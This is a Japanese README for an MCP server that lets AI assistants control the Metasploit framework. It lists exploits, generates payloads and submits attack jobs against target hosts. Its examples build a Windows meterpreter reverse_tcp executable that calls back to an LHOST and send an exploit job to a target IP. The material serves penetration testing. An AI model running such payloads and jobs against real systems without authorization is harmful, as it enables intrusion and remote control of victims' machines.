Metasploitmcp

🚀 MetaSploit MCP サーバー

このサーバーは、Model Context Protocol (MCP) を用いて、Claudeなどの大規模言語モデルとMetaSploitフレームワークを統合します。AIアシスタントがMetaSploitの機能を動的にアクセスおよび制御できるようにし、標準化されたツールを通じて自然言語インターフェースを提供し、複雑な浸透テストのワークフローを簡素化します。

🚀 クイックスタート

このMCPサーバーは、大規模言語モデル（Claudeなど）とMetaSploitフレームワークの間に架ける橋となります。AIアシスタントがMetaSploitの機能を直接呼び出して制御できるようにし、複雑なセキュリティテストのワークフローを自然言語で操作できるようにします。

✨ 主な機能

モジュール情報

• エクスプロイトの列挙: 利用可能なMetaSploit攻撃モジュールを検索してリストアップします。
• ペイロードの列挙: 利用可能な攻撃ペイロードを検索してリストアップします。
• ペイロードの生成: 構成パラメータを指定してカスタムペイロードを生成します。

📦 インストール

前提条件

1. Python 3.8以上をインストールします。
2. MetaSploitフレームワークをインストールします（最新の安定版を推奨）。
3. 環境変数を設定します：
   • MSF_PATH 環境変数をMetaSploitのインストールディレクトリに設定します。
   • オプション：PAYLOAD_SAVE_DIR 環境変数を設定してペイロードの保存先を指定します。

インストール手順

1. プロジェクトリポジトリをクローンします：

   git clone https://github.com/yourusername/metasploit-mcp.git
   cd metasploit-mcp
   

2. 仮想環境を作成してアクティブ化します（Python 3の仮想環境を推奨）：

   python -m venv mcp-venv
   source mcp-venv/bin/activate  #  Linux/macOSの場合
   mcp-venv\Scripts\activate     #  Windowsの場合
   

3. 依存関係をインストールします：

   pip install -r requirements.txt
   

💻 使用例

基本的な使用法

サーバーの起動

python server.py

機能の呼び出し例

# 利用可能なエクスプロイトを列挙する
list_exploits()

# カスタムペイロードを生成する
generate_payload(exploit_type="windows/meterpreter/reverse_tcp", 
                 output_format="exe", 
                 parameters={"LHOST": "192.168.1.10", "LPORT": 4444})

# 攻撃タスクを送信する
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)

高度な使用法

攻撃モジュールのテスト

# 利用可能なエクスプロイトを列挙する
list_exploits()  # 利用可能なすべてのエクスプロイトのリストを返す

# カスタムペイロードを生成する
generate_payload(exploit_type="windows/x64/meterpreter/reverse_tcp",
                 output_format="exe", 
                 parameters={"LHOST": "192.168.1.1", "LPORT": 4444})

# 攻撃タスクを送信する
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)

タスク管理

# すべてのタスクを表示する
list_jobs()  # 実行中および完了したすべてのタスクのリストを返す

# 特定のタスクを終了する
terminate_job(job_id=1)  # 指定されたタスクIDの実行を中止する

📚 ドキュメント

設定オプション

ペイロード保存ディレクトリ

デフォルトでは、生成されたペイロードはユーザーのホームディレクトリ内の payloads フォルダに保存されます。PAYLOAD_SAVE_DIR 環境変数を設定することで、このパスをカスタマイズできます。

設定方法：

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (コマンドプロンプト):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• 設定ファイルで指定する場合：

  {
      "env": {
          "MSF_PATH": "/opt/metasploit",
          "PAYLOAD_SAVE_DIR": "/var/custom/payloads"
      }
  }
  

注意： 指定したパスが存在しない場合、プログラムは自動的に作成しようとします。作成できない場合は、アプリケーションがそのディレクトリにアクセスする権限を持っていることを確認してください。

🔧 技術詳細

セキュリティ上の注意事項

1. 権限管理:

   • MCPサーバーを最小限の権限を持つアカウントで実行することを確認します。
   • ファイアウォールを設定して外部からのアクセスを制限します。

2. ログ監視:

   • 詳細な監査ログを有効にします。
   • 操作ログを定期的に確認します。

3. セキュリティ更新:

   • MetaSploitフレームワークを最新バージョンに更新します。
   • サーバーの脆弱性を定期的にスキャンして修復します。

📄 ライセンス

このプロジェクトは、Apache 2.0ライセンスに従います。